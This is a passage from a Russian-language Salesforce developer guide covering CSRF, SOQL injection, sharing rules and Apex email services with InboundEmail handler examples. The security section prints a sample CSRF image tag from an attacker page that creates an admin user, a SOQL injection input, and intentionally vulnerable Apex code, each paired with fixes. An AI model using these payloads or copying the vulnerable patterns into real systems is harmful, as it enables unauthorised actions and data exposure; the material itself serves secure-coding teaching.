выполнение кода в контексте других пользователей (с более высокими уровнями привилегий). Данные типы атак,
выполняемые пользователями внутри одной организации, влияют на роли пользователей организации и сокращают
целостность контрольных записей. Кроме того, многие организации содержат данные, импортированные из внешних
источников, но не проверенные на наличие вредоносного содержимого.

Подделка межсайтовых запросов (CSRF)

Подделки межсайтовых запросов являются не столько ошибками программирования, сколько отсутствием средств
защиты. Простой пример ниже позволяет понять принцип подделки межсайтовых запросов. Взломщик создает
веб-страницу www.attacker.com. Взломщикможетиспользоватьлюбуювеб-страницу, включаястраницу, содержащую
ценныеслужбыилиданные, привлекающиевниманиепользователей. Любаяобластьданнойстраницыможетсодержать
тег HTML, выглядящий следующим образом:

<img
src="http://www.yourwebpage.com/yourapplication/createuser?email=attacker@attacker.com&type=admin....."
height=1 width=1 />

Другимисловами, страницавзломщикасодержит URL-адрес, выполняющийдействиенавеб-сайтеорганизации. Открытие
веб-страницы взломщика без закрытия веб-страницы организации инициирует извлечение URL-адреса и выполнение
действий. Данная атака выполняется мгновенно, так как пользователь все еще находится на веб-странице организации.
Данныйпримерявляетсясамымпростым, авзломщикимогутпроявлятьизобретательностьпутемиспользованиясценариев
для создания запросов обратного вызова или использования атак против методов AJAX путем подделки межсайтовых
запросов.

Дополнительную информацию и традиционные средства защиты см. в следующих статьях:
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• http://www.owasp.org/index.php/Cross-Site_Request_Forgery

• http://www.cgisecurity.com/csrf-faq.html

• http://shiflett.org/articles/cross-site-request-forgeries

Чтобы препятствовать подделке межсайтовых запросов на платформе Force.com, компания Salesforce применяет
соответствующий антимаркер. Каждая страница содержит случайную строку символов в виде скрытого поля формы.
Приследующей загрузке страницыприложениепроверяет допустимость данной строки символови выполняет команду
толькоприусловиисоответствиянайденногозначенияожидаемомузначению. Даннаяфункциязащищаетпользователя
при использовании всех стандартных контроллеров и методов.

Темнеменее, разработчикимогутобходитьвстроенныесредства защиты, подвергая своихпользователейнеоправданному
риску. Например, организацияиспользуетнастраиваемыйконтроллер, где кодобъектапринимается в качествепараметра
ввода, который затем используется в вызове SOQL. Рассмотрим указанный ниже фрагмент кода.

<apex:page controller="myClass" action="{!init}"</apex:page>

public class myClass {
public void init() {
Id id = ApexPages.currentPage().getParameters().get('id');
Account obj = [select id, Name FROM Account WHERE id = :id];
delete obj;
return ;

}
}

В данном случае разработчик невольно обходит встроенные средства защиты путем разработки собственного метода
действия. Параметр id считывается и используется в коде. Антимаркер никогда не считывается и не проверяется.
Веб-страница взломщика могла отправить пользователя на данную страницу посредством атаки путем подделки
межсайтовых запросов и предоставить любое нужное значение для параметра id.

Система не предусматривает встроенных средств защиты для подобных ситуаций, поэтому разработчики должны быть
предельновнимательнымиприсозданиистраниц, выполняющихдействиенаосновепараметра, введенногопользователем
(например, переменная id впредыдущемпримере). Временнымрешениемданнойпроблемыможетбытьиспользование
промежуточнойстраницыподтверждения, обеспечивающейвыполнениедействиятолькопослеполученияотпользователя
подтверждения о преднамеренном вызове страницы. Другие возможные решения: сокращение времени простоя сеанса
для организации и напоминание пользователям о необходимости завершения текущего активного сеанса при
использовании обозревателя для посещения других страниц.

Внедрение SOQL

В других языках программирования предыдущая уязвимость называется внедрением SQL. Apex не использует SQL, но
использует SOQL (собственный язык запросов базы данных). В отличие от SQL, SOQL может использоваться неопытными
разработчиками и поддерживает меньшее количество функций. Несмотря на схожесть атак для обоих внедрений,
внедрение SOQL позволяет сократить возможные риски. Как правило, внедрение SQL/SOQL извлекает данные, введенные
пользователем, и использует данные значения в динамическом запросе SOQL. Непроверенные введенные данные могут
содержать команды SOQL, которые эффективно изменяют оператор SOQL и инициируют выполнение приложением
нежелательных команд.

Дополнительную информацию об атаках путем внедрения SQL см. в следующих статьях:

• http://www.owasp.org/index.php/SQL_injection

• http://www.owasp.org/index.php/Blind_SQL_Injection

• http://www.owasp.org/index.php/Guide_to_SQL_Injection
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• http://www.google.com/search?q=sql+injection

Уязвимость внедрения SOQL в Apex

Ниже приведен простой пример кода Apex и Visualforce, уязвимого при внедрении SOQL.

<apex:page controller="SOQLController" >
<apex:form>

<apex:outputText value="Enter Name" />
<apex:inputText value="{!name}" />
<apex:commandButton value="Query" action="{!query}“ />

</apex:form>
</apex:page>

public class SOQLController {
public String name {

get { return name;}
set { name = value;}

}
public PageReference query() {

String qryString = 'SELECT Id FROM Contact WHERE ' +
'(IsDeleted = false and Name like \'%' + name + '%\')';

queryResult = Database.query(qryString);
return null;

}
}

Данный пример является очень простым, но позволяет продемонстрировать логику. Код предназначается для поиска
неудаленных контактов. Пользователь указывает одно значение ввода name. Значение может быть любым и никогда не
проверяется. Запрос SOQL создается динамически и затем выполняется посредством метода Database.query. Если
пользователь указывает допустимое значение, то оператор выполняется как ожидается.

// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')

Тем не менее, если пользователь указывает недопустимое значение, например:

// User supplied value for name: test%') OR (Name LIKE '

В данном случае строка запроса возвращает:

SELECT Id FROM Contact WHERE (IsDeleted = false AND Name LIKE '%test%') OR (Name LIKE '%')

Другими словами, запрос возвращает все контакты, а не только неудаленные. Уязвимость внедрения SOQL может
использоваться для изменения предопределенной логики любого уязвимого запроса.

Средства защиты от внедрения SOQL

Чтобы предотвратить атаку путем внедрения SOQL, рекомендуем избегать использования динамических запросов SOQL.
Взамен, рекомендуемиспользовать статические запросыипеременные связывания. Пример уязвимого кода вышеможет
быть перезаписан посредством следующего статического SOQL:

public class SOQLController {
public String name {

get { return name;}
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set { name = value;}
}
public PageReference query() {

String queryName = '%' + name + '%';
queryResult = [SELECT Id FROM Contact WHERE

(IsDeleted = false and Name like :queryName)];
return null;

}
}

Чтобыприменить динамический SOQL, рекомендуемиспользоватьметод escapeSingleQuotes для очистки данных,
введенных пользователем. Данный метод добавляет экранирующий символ (\) ко всем одиночным кавычкам в строке,
переданной пользователем. Благодаря данному методу, все одиночные кавычки обрабатываются как вложенные строки
взамен команд базы данных.

Управление доступом к данным

Платформа Force.comширокоиспользуетправилаобщегодоступа к данным. Каждыйобъектподдерживаетполномочия
и может применять параметры общего доступа, позволяющие пользователям выполнять операции чтения, создания,
редактирования и удаления. Данные параметры применяются при использовании всех стандартных контроллеров.

При выполнении используемого класса Apex встроенные полномочия пользователя и параметры безопасности поля не
применяются. По умолчанию класс Apex может выполнять операции чтения и обновления всех данных организации.
Данныеправиланевыполняются, поэтомуразработчики, использующиеApex, должныпроявлятьособуювнимательность
приобработкеконфиденциальныхданных, которые, какправило, скрываютсяотпользователейпосредствомполномочий,
параметров безопасности поля или единых стандартных параметров. Рекомендуем быть особенно внимательными при
использовании страниц Visualforce. Например, организация использует следующий псевдокод Apex:

public class customController {
public void read() {

Contact contact = [SELECT id FROM Contact WHERE Name = :value];
}

}

В данном случае поиск выполняется по всем записям контактов даже при отсутствии полномочия на просмотр данных
записей у вошедшего пользователя. Рекомендуем использовать специальные ключевые слова with sharing при
описании класса:

public with sharing class customController {
. . .

}

Ключевое слово with sharing предписывает платформеиспользованиеполномочийобщего доступа, назначенных
вошедшему пользователю, взамен предоставления полного доступа ко всем записям.
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Службы эл. почты

Что такое службы эл. почты?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Использование служб эл.
почты в установленных
пакетах AppExchange
доступно в версиях: Group
Edition и Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки служб эл.
почты Apex и адресов
службы эл. почты:
• «Изменение всех

данных»

Для создания классов Apex:
• «Автор Apex»

Службы эл. почты — это автоматические процессы, использующие классы Apex для
обработки содержимого, заголовков и вложений входящих сообщений эл. почты.
Например, служба эл. почтыможет автоматическисоздавать записиконтактовнаоснове
контактных данных, указанных в сообщениях.

Каждая служба эл. почты может быть связана как минимум с одним адресом эл. почты
Salesforce, используемым для отправки сообщений на обработку. Чтобы предоставить
группепользователейдоступкотдельнойслужбеэл. почты, выполнитеодноизуказанных
ниже действий.

• Свяжите адреса эл. почты, созданные системой Salesforce, со службой эл. почты и
назначьте данные адреса пользователям.

• Свяжите адрес эл. почты, созданный системой Salesforce, со службой эл. почты и
создайте класс Apex, выполняемый в зависимости от пользователя, обращающегося
к службе эл. почты.Например, создайте класс Apex, определяющийпользователя на
основе его адреса эл. почты и создающий записи от его имени.

Чтобыиспользовать службы эл. почты, введите «Службы эл. почты» в поле «Быстрый
поиск» в меню «Настройка» и выберите пункт «Службы эл. почты».

• Чтобы создать службу эл. почты, нажмите кнопку «Создать службу эл. почты».

• Чтобы просмотреть конфигурацию, активировать или деактивировать службу,
просмотреть или задать адреса, выберите нужную службу эл. почты.

• Чтобы изменить текущую службу эл. почты, нажмите кнопку «Правка».

• Чтобы удалить службу эл. почты, нажмите кнопку «Удалить».

Прим.: Прежде чем удалить службы эл. почты, рекомендуем удалить все
связанные адреса.

Ниже перечислены рекомендации по определению служб эл. почты.

• Служба эл. почты обрабатывает только сообщения, отправленные на один из ее
адресов.

• Система Salesforce ограничивает общее количество сообщений, которое ежедневно может обрабатываться всеми
службамиэл. почты, включаяфункциюOn-Demand Email-to-Case. Взависимостиотпараметровотрицательногоответа,
заданных для каждой службы эл. почты, сообщения, которые превышают данное ограничение, отклоняются,
возвращаются отправителю или добавляются в очередь для обработки на следующий день. Система Salesforce
определяетограничениепутемумноженияколичествалицензийпользователяна1 000; однакоежедневноеограничение
не должно превышать 1 000 000. Например, организация, которой предоставлено 10 лицензий, может ежедневно
обрабатывать не более 10 000 сообщений эл. почты.

• Адресаслужбыэл. почты, созданныевбезопаснойсреде, немогутбытьскопированывпроизводственнуюорганизацию.

• Для каждой службы эл. почты система Salesforce может отправлять сообщения об ошибках на специальный адрес
вместо адреса эл. почты отправителя.
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• Службы эл. почтыотклоняют сообщенияи уведомляютотправителя, еслиобщийразмер сообщения эл. почты (текст
сообщения, HTML-текст и вложения) превышает примерно 10 Мб (данное ограничение определяется используемым
языком и набором символов).

СМ. ТАКЖЕ:

Определение адресов службы эл. почты

Определение служб эл. почты

Использование объекта InboundEmail

Определение адресов службы эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Использование служб эл.
почты в установленных
пакетах AppExchange
доступно в версиях: Group
Edition и Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки служб эл.
почты Apex и адресов
службы эл. почты:
• «Изменение всех

данных»

Для создания классов Apex:
• «Автор Apex»

1. Введитестроку «Службы эл. почты» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Службы эл. почты».

2. Выберите нужную службу эл. почты.

3. Нажмите кнопку «Создать адрес эл. почты». Чтобы изменить конфигурацию
текущегоадреса службыэл. почты, щелкните«Правка». Чтобыудалитьадрес службы
эл. почты, щелкните «Просмотр» и «Удалить».

4. Введите локальную часть адреса службы эл. почты в поле «Адрес эл. почты».
СистемаSalesforce генерируетуникальнуюдоменнуючастьдлякаждогоадресаслужбы
эл. почты, гарантируя отсутствие двух одинаковых адресов службы эл. почты.
Сгенерированнаядоменнаячастьотображается справаотполя «Адрес эл. почты».

Совет: Локальная часть адреса эл. почты Salesforce может содержать любые
буквыицифры, а такжеследующиеспециальныесимволы: !#$%&'*/=?^_+-`{|}~.
Доменная часть адреса эл. почты Salesforce может содержать только буквы и
цифры, а также дефис (-). Точка (.) может использоваться в обеих частях, если
не является первым или последним символом.

Адреса эл. почты Salesforce не чувствительны к регистру.

5. Чтобы активировать адрес службы эл. почты после нажатия кнопки «Сохранить»,
установите флажок «Активно».

6. Заполнитеполе «Пользователь контекста». Службаэл. почтыиспользуетполномочия
пользователя контекста при обработке сообщений, отправленных на данный адрес.
Например, еслипараметрыслужбыэл. почтыопределяютнеобходимостьизменения
записей контактов при получении обновленных контактных данных, то служба эл.
почты изменяет запись только при наличии у пользователя контекста полномочия
на редактирование записи.

Важное замечание: Выберитепользователяконтекста, которомупредоставлено
полномочие на выполнение класса Apex, используемого службой эл. почты.

7. Чтобы разрешить данному адресу службы эл. почты принимать только сообщения от конкретных отправителей,
введитеих адресаидоменывтекстовоеполе «Принимать сообщения эл. почты от». Привводенескольких записей
рекомендуем использовать запятые. Например: ivan@moyakompaniya.ru, yahoo.com, gmail.com. Если текстовое поле
«Принимать сообщения эл. почты от» содержит значение, а служба эл. почты принимает сообщение от адреса
эл. почты или домена, отсутствующего в списке, то служба эл. почты выполняет действие, указанное в параметре
отрицательного ответа «Действие "Неавторизированный отправитель"».
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Чтобы разрешить службе эл. почты принимать сообщения со всех адресов эл. почты, пропустите данное поле.

Прим.: Еслислужба эл. почтыиадрес службыэл. почтыпозволяютприниматьсообщениятолькоот конкретных
отправителей, то служба эл. почты обрабатывает только сообщения, отправленные пользователями, имена
которыхуказаныв текстовыхполях «Принимать сообщения эл. почты от» службыэл. почтыиадреса службы
эл. почты.

8. Чтобысохранитьвнесенныеизменения, нажмитекнопку «Сохранить». Чтобызадатьдругойадресдляданнойслужбы
эл. почты, нажмите кнопку «Сохранить и создать».

СМ. ТАКЖЕ:

Определение служб эл. почты

Что такое службы эл. почты?

Определение служб эл. почты

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Использование служб эл.
почты в установленных
пакетах AppExchange
доступно в версиях: Group
Edition и Professional
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки служб эл.
почты Apex и адресов
службы эл. почты:
• «Изменение всех

данных»

Для создания классов Apex:
• «Автор Apex»

Чтобы определить службу эл. почты, выполните указанные ниже действия.

1. Введитестроку «Службы эл. почты» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Службы эл. почты».

2. Нажмите кнопку «Создать службу эл. почты». Чтобы изменить текущую службу
эл. почты, щелкните ссылку «Правка».

3. Введите имя службы эл. почты.

4. Выберите нужный класс Apex. Выбранный класс Apex должен реализовывать
интерфейс Messaging.InboundEmailHandler. Например:

global class myHandler implements Messaging.InboundEmailHandler {
global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail
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email, Messaging.InboundEnvelope envelope) {
Messaging.InboundEmailResult result = new Messaging.InboundEmailresult();

return result;
}

}

Дополнительную информацию об объекте InboundEmail см. в разделе «Использование объекта InboundEmail» на
странице 5669.

5. Выберите нужные типы вложений. Доступные значения:

Нет
Служба эл. почты принимает сообщение, но пропускает вложение.

Только текстовые вложения
Служба эл. почты принимает только вложения следующих типов:

• Вложения с типом MIME text.

• Вложения с типом MIME application/octet-stream и расширениемфайла .vcf или .vcs. Данные
вложения сохраняются как типы MIME text/x-vcard и text/calendar соответственно.

Сообщения, содержащие вложения других типов, принимаются, но вложения пропускаются.

Только двоичные вложения
Служба эл. почты принимает только двоичные вложения (например, изображения, приложения, аудио- и
видеофайлы). Размер двоичного вложения не должен превышать 5 Мб.

Сообщения, содержащие недвоичные вложения, принимаются, но вложения пропускаются.

Все
Служба эл. почты принимает вложения любого типа.

Прим.: Служба эл. почты может обрабатывать вложения только в том случае, если ее параметры позволяют
принимать вложения и использовать класс Apex, обрабатывающий типы принимаемых вложений.

Обратите внимание, что службы эл. почты не могут принимать встроенные вложения (например, изображения,
вставленные в сообщения эл. почты).

6. Чтобы настроить службу эл. почты на проверку законности отправляющего сервера перед обработкой сообщения,
установитефлажок «Дополнительные параметры безопасности эл. почты». Нижеперечисленыпротоколыпроверки
подлинности, используемые службой эл. почты для проверки законности отправителя.

• SPF

• SenderId

• DomainKeys

Еслиотправляющийсерверпроходитпроверкукакминимумоднимпротоколом, тосообщениеэл. почтыпринимается
службойэл. почты. Еслисервернепроходитпроверкуилинеподдерживаетпротоколы, то службаэл. почтывыполняет
действие, указанное в параметре отрицательного ответа «Действие "Непроверенный отправитель"».

Совет: Прежде чем установитьфлажок «Проверить подлинность отправителей», убедитесь, что отправители,
использующие службу эл. почты, поддерживают как минимум один протокол проверки подлинности выше.
Дополнительную информацию о данных протоколах проверки подлинности см. на веб-сайтах ниже.

• www.openspf.org

• www.microsoft.com/mscorp/safety/technologies/senderid/default.mspx
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7. Службы эл. почтыотклоняют сообщенияи уведомляютотправителя, еслиобщийразмер сообщения эл. почты (текст
сообщения, HTML-текст и вложения) превышает примерно 10 Мб (данное ограничение определяется используемым
языком и набором символов).

8. При необходимости преобразуйте текстовые вложения в двоичные.

9. Чтобы разрешить данной службе эл. почты принимать только сообщения от конкретных отправителей, введите их
адресаидоменывтекстовоеполе «Принимать сообщения эл. почты от». Привводенесколькихзаписейрекомендуем
использовать запятые. Например: ivan@moyakompaniya.ru, yahoo.com, gmail.com. Если текстовое поле «Принимать
сообщения эл. почты от» содержит значение, а служба эл. почты принимает сообщение от адреса эл. почты или
домена, отсутствующего в списке, то служба эл. почты выполняет действие, указанное в параметре отрицательного
ответа «Действие "Неавторизированный отправитель"».

Чтобы разрешить службе эл. почты принимать сообщения со всех адресов эл. почты, пропустите данное поле.

Прим.: Адреса эл. почты и домены могут быть также авторизованы на уровне адреса службы эл. почты. См.
раздел «Определение адресов службы эл. почты» на странице 5665.

Если служба эл. почты и адрес службы эл. почты позволяют принимать сообщения только от конкретных
отправителей, то служба эл. почты обрабатывает только сообщения, отправленные пользователями, имена
которыхуказаныв текстовыхполях «Принимать сообщения эл. почты от» службыэл. почтыиадреса службы
эл. почты.

10. Чтобы активировать службу эл. почты после нажатия кнопки «Сохранить», установите флажок «Активно».

11. Настройтепараметрыотрицательногоответа, определяющиеспособответа службыэл. почтыпринеудачнойпопытке
доступа по одной из перечисленных ниже причин.

Действие «Превышение ограничения по частоте отправки эл. почты»
Данное действие определяет порядок обработки сообщений, если общее количество сообщений, обработанных
всемислужбамиэл. почты, достигаетежедневногоограничения, установленногодляорганизации. СистемаSalesforce
определяет ограничение путем умножения количества лицензий пользователя на 1 000; однако ежедневное
ограничениенедолжнопревышать 1 000 000. Например, организация, которойпредоставлено 10 лицензий, может
ежедневно обрабатывать не более 10 000 сообщений эл. почты.

Действие «Деактивированный адрес эл. почты»
Данное действие определяет порядок обработки сообщений, отправленных на неактивный адрес эл. почты.

Действие «Деактивированная служба эл. почты»
Данное действие определяет порядок обработки принятых сообщений, если служба эл. почты неактивна.

Действие «Непроверенный отправитель»
Данное действие определяет порядок обработки сообщений, которые не соответствуют или не поддерживают
протоколы проверки подлинности, при наличиифлажка «Проверить подлинность отправителей».

Действие «Неавторизованный отправитель»
Данное действие определяет порядок обработки сообщений, полученных от отправителей, имена которых
отсутствуют в текстовом поле «Принимать сообщения эл. почты от» службы эл. почты или адреса службы эл.
почты.

Возможные варианты отрицательного ответа:

Сообщение о возврате
Службаэл. почтывозвращаетсообщениеотправителюилипользователю, указанномувпараметре «Автоматический
пользователь для обращений» для функции On-Demand Email-to-Case, с пояснением причины отклонения
сообщения.
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Сообщение об отклонении
Служба эл. почты удаляет сообщение без уведомления отправителя.

Сообщениеоповторномдобавлениивочередь (толькодля действия «Превышение ограничения по частоте
отправки эл. почты»)

Служба эл. почты добавляет сообщение в очередь на обработку в последующие 24 часа. Если сообщение не
обрабатываетсяв течение 24 часов, тослужбаэл. почтывозвращаетсообщениеотправителюспояснениемпричины
отклонения сообщения.

12. Чтобыотправить сообщенияобошибкахна указанныйадрес вместо адреса эл. почтыотправителя, установитефлажок
«Включить маршрутизацию ошибок» и введите нужный адрес эл. почты в поле «Направлять сообщения об
ошибках на данный адрес эл. почты». Данноедействиепрепятствует уведомлениюотправителяоневозможности
обработки входящего сообщения эл. почты.

13. Чтобы сохранить внесенные изменения, нажмите кнопку «Сохранить». Чтобы создать адреса для данной службы эл.
почты, нажмите кнопку «Сохранить и создать адрес эл. почты». Дополнительную информацию см. в разделе
«Определение адресов службы эл. почты» на странице 5665.

СМ. ТАКЖЕ:

Определение адресов службы эл. почты

Что такое службы эл. почты?

Использование объекта InboundEmail

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

СистемаSalesforceсоздаетотдельныйобъект InboundEmail, предназначенныйдляхранения
содержимого и вложений каждого сообщения эл. почты, принятого доменом службы
эл. почты Apex. При необходимости воспользуйтесь классами Apex, реализующими
интерфейс Messaging.InboundEmailHandler дляобработкивходящегосообщения
эл. почты. Метод класса handleInboundEmail предоставляет доступ к объекту
InboundEmail дляизвлечениясодержимого, заголовковивложенийвходящихсообщений
эл. почты, а также выполнения множества функций.

Прим.: Дополнительнуюинформациюослужбеэл. почтыApex см. вразделе «Что
такое службы эл. почты?» на странице 5664.

Пример 1. Создание задач для контактов

Пример ниже позволяет находить контакты по адресу входящего сообщения эл. почты и создавать задачи.

global class CreateTaskEmailExample implements Messaging.InboundEmailHandler {

global Messaging.InboundEmailResult handleInboundEmail(Messaging.inboundEmail email,
Messaging.InboundEnvelope env){

// Create an InboundEmailResult object for returning the result of the
// Apex Email Service
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();

String myPlainText= '';

// Add the email plain text into the local variable
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myPlainText = email.plainTextBody;

// New Task object to be created
Task[] newTask = new Task[0];

// Try to look up any contacts based on the email from address
// If there is more than one contact with the same email address,
// an exception will be thrown and the catch statement will be called.
try {
Contact vCon = [SELECT Id, Name, Email
FROM Contact
WHERE Email = :email.fromAddress
LIMIT 1];

// Add a new Task to the contact record we just found above.
newTask.add(new Task(Description = myPlainText,

Priority = 'Normal',
Status = 'Inbound Email',
Subject = email.subject,
IsReminderSet = true,
ReminderDateTime = System.now()+1,
WhoId = vCon.Id));

// Insert the new Task
insert newTask;

System.debug('New Task Object: ' + newTask );
}
// If an exception occurs when the query accesses
// the contact record, a QueryException is called.
// The exception is written to the Apex debug log.
catch (QueryException e) {

System.debug('Query Issue: ' + e);
}

// Set the result to true. No need to send an email back to the user
// with an error message
result.success = true;

// Return the result for the Apex Email Service
return result;
}

}

Пример 2. Обработка электронного отказа от подписки

Компании, отправляющие текущим и потенциальным клиентам маркетинговые сообщения эл. почты, должны
поддерживать способ отмены подписки. Пример ниже позволяет службе эл. почты обрабатывать отказы от подписки.
Кодобрабатываеттемувходящегосообщенияэл. почтынаналичиеслова unsubscribe (отменаподписки). Приобнаружении
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слова код выполняет поиск всех контактов и интересов, соответствующих адресу эл. почты отправителя, и задает полю
«Без рассылки по эл. почте»  (HasOptedOutOfEmail) значение «Истина».

Global class unsubscribe implements Messaging.inboundEmailHandler{

Global Messaging.InboundEmailResult handleInboundEmail(Messaging.InboundEmail email,

Messaging.InboundEnvelope env ) {

// Create an inboundEmailResult object for returning
// the result of the email service.
Messaging.InboundEmailResult result = new Messaging.InboundEmailResult();

// Create contact and lead lists to hold all the updated records.
List<Contact> lc = new List <contact>();
List<Lead> ll = new List <lead>();

// Convert the subject line to lower case so the program can match on lower case.

String mySubject = email.subject.toLowerCase();
// The search string used in the subject line.
String s = 'unsubscribe';

// Check the variable to see if the word "unsubscribe" was found in the subject
line.

Boolean unsubMe;
// Look for the word "unsubcribe" in the subject line.
// If it is found, return true; otherwise, return false.
unsubMe = mySubject.contains(s);

// If unsubscribe is found in the subject line, enter the IF statement.

if (unsubMe == true) {

try {

// Look up all contacts with a matching email address.

for (Contact c : [SELECT Id, Name, Email, HasOptedOutOfEmail
FROM Contact
WHERE Email = :env.fromAddress
AND hasOptedOutOfEmail = false
LIMIT 100]) {

// Add all the matching contacts into the list.
c.hasOptedOutOfEmail = true;
lc.add(c);

}
// Update all of the contact records.
update lc;

}
catch (System.QueryException e) {

System.debug('Contact Query Issue: ' + e);
}
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try {
// Look up all leads matching the email address.
for (Lead l : [SELECT Id, Name, Email, HasOptedOutOfEmail

FROM Lead
WHERE Email = :env.fromAddress
AND isConverted = false
AND hasOptedOutOfEmail = false
LIMIT 100]) {

// Add all the leads to the list.
l.hasOptedOutOfEmail = true;
ll.add(l);

System.debug('Lead Object: ' + l);
}
// Update all lead records in the query.
update ll;

}

catch (System.QueryException e) {
System.debug('Lead Query Issue: ' + e);

}

System.debug('Found the unsubscribe word in the subject line.');
}
else {

System.debug('No Unsuscribe word found in the subject line.' );
}
// Return True and exit.
// True confirms program is complete and no emails
// should be sent to the sender of the unsubscribe request.
result.success = true;
return result;

}
}

@isTest
private class unsubscribeTest {

// The following test methods provide adequate code coverage
// for the unsubscribe email class.
// There are two methods, one that does the testing
// with a valid "unsubcribe" in the subject line
// and one the does not contain "unsubscribe" in the
// subject line.
static testMethod void testUnsubscribe() {

// Create a new email and envelope object.
Messaging.InboundEmail email = new Messaging.InboundEmail() ;
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();

// Create a new test lead and insert it in the test method.
Lead l = new lead(firstName='John',

lastName='Smith',
Company='Salesforce',
Email='user@acme.com',
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HasOptedOutOfEmail=false);
insert l;

// Create a new test contact and insert it in the test method.
Contact c = new Contact(firstName='john',

lastName='smith',
Email='user@acme.com',
HasOptedOutOfEmail=false);

insert c;

// Test with the subject that matches the unsubscribe statement.
email.subject = 'test unsubscribe test';
env.fromAddress = 'user@acme.com';

// Call the class and test it with the data in the testMethod.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );

}

static testMethod void testUnsubscribe2() {

// Create a new email and envelope object.
Messaging.InboundEmail email = new Messaging.InboundEmail();
Messaging.InboundEnvelope env = new Messaging.InboundEnvelope();

// Create a new test lead and insert it in the test method.
Lead l = new lead(firstName='john',

lastName='smith',
Company='Salesforce',
Email='user@acme.com',
HasOptedOutOfEmail=false);

insert l;

// Create a new test contact and insert it in the test method.
Contact c = new Contact(firstName='john',

lastName='smith',
Email='user@acme.com',
HasOptedOutOfEmail=false);

insert c;

// Test with a subject that does not contain "unsubscribe."
email.subject = 'test';
env.fromAddress = 'user@acme.com';

// Call the class and test it with the data in the test method.
unsubscribe unsubscribeObj = new unsubscribe();
unsubscribeObj.handleInboundEmail(email, env );

}
}

Объект InboundEmail

Ниже перечислены поля, доступные в объекте InboundEmail.
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ОписаниеТипИмя

Список двоичных вложений, полученных по эл.
почте (при их наличии).

Примерами двоичных вложений являются
изображения, приложения, аудио- и видеофайлы.

InboundEmail.BinaryAttachment[]binaryAttachments

Список адресов в поле «Копия» (при их наличии).String[]ccAddresses

Адрес эл. почты, отображаемый в поле «От».StringfromAddress

Имя, отображаемое в поле «От» (при его наличии).StringfromName

Список заголовков RFC 2822, включая:InboundEmail.Header[]headers

• От

• Custom headers

• Message-ID

• Дата

HTML-версия сообщения эл. почты (если выбрано
отправителем).

StringhtmlBody

Данное поле определяет, является ли основной
HTML-текст усеченным (true или false).

ЛогическийhtmlBodyIsTruncated

Поле «В ответ на» входящего сообщения эл. почты.
Данное поле определяет родительские сообщения

StringinReplyTo

эл. почты. Данное поле содержит заголовки
Message-ID родительских сообщений эл. почты.

Message-ID — это уникальный идентификатор
входящего сообщения эл. почты.

StringmessageId

Текстовая версия сообщения эл. почты (если
выбрано отправителем).

StringplainTextBody

Данное поле определяет, является ли основной
обычный текст усеченным (true или false).

ЛогическийplainTextBodyIsTruncated

Поле «Ссылки» входящего сообщения эл. почты.
Данное поле определяет поток эл. почты. Данное

String[]references

полесодержитсписокссылокикодовродительских
сообщений эл. почты, а также, возможно, поля «В
ответ на».

Адрес эл. почты, отображаемый в заголовке
«Ответить на».

Еслизаголовок «Ответитьна» отсутствует, тоданное
поле соответствует полю fromAddress.

StringreplyTo

Тема сообщения эл. почты (при ее наличии).Stringsubject
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ОписаниеТипИмя

Список текстовых вложений, полученных по эл.
почте (при их наличии).

Возможные текстовые вложения:

InboundEmail.TextAttachment[]textAttachments

• Вложения с типом MIME text.

• Вложения с типом MIME
application/octet-stream и
расширениемфайла .vcf или .vcs. Данные
вложения сохраняются как типы MIME
text/x-vcard и text/calendar
соответственно.

Адрес эл. почты, отображаемый в поле «Кому».String[]toAddresses

Объект InboundEmail.Header

Ниже перечислены поля объекта InboundEmail.Header, используемые объектом InboundEmail для хранения сведений о
заголовке сообщения эл. почты RFC 2822.

ОписаниеТипИмя

Имя параметра заголовка (например, Date или Message-ID).Stringname

Значение заголовка.Stringvalue

Объект InboundEmail.BinaryAttachment

Объект InboundEmail хранит двоичные вложения в объекте InboundEmail.BinaryAttachment.

Примерами двоичных вложений являются изображения, приложения, аудио- и видеофайлы.

Ниже перечислены поля, доступные в объекте InboundEmail.BinaryAttachment.

ОписаниеТипИмя

Текст вложения.Blobbody

Имя вложенного файла.StringfileName

Основной тип и подтип MIME.StringmimeTypeSubType

Объект InboundEmail.TextAttachment

Объект InboundEmail хранит текстовые вложения в объекте InboundEmail.TextAttachment.

Возможные текстовые вложения:

• Вложения с типом MIME text.

• Вложенияс типом MIME application/octet-stream ирасширениемфайла .vcf или .vcs. Данныевложения
сохраняются как типы MIME text/x-vcard и text/calendar соответственно.
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Ниже перечислены поля, доступные в объекте InboundEmail.TextAttachment.

ОписаниеТипИмя

Текст вложения.Stringbody

Данноеполеопределяет, являетсялиосновнойтекствложенияусеченным
(true или false).

ЛогическийbodyIsTruncated

Исходный набор символов текстового поля. UTF-8 используется для
повторной кодировки текста как данных, введенных в метод Apex.

Stringcharset

Имя вложенного файла.StringfileName

Основной тип и подтип MIME.StringmimeTypeSubType

Объект InboundEmailResult

Объект InboundEmailResult используется для возврата результата службы эл. почты. Если данный объект является пустым,
то результат считается успешным. Ниже перечислены поля, доступные в объекте InboundEmailResult.

ОписаниеТипИмя

Значение, определяющее успешность обработки сообщения эл. почты.

Если данное поле содержит значение false, то система Salesforce
отклоняет входящее сообщение эл. почты и отправляет исходному
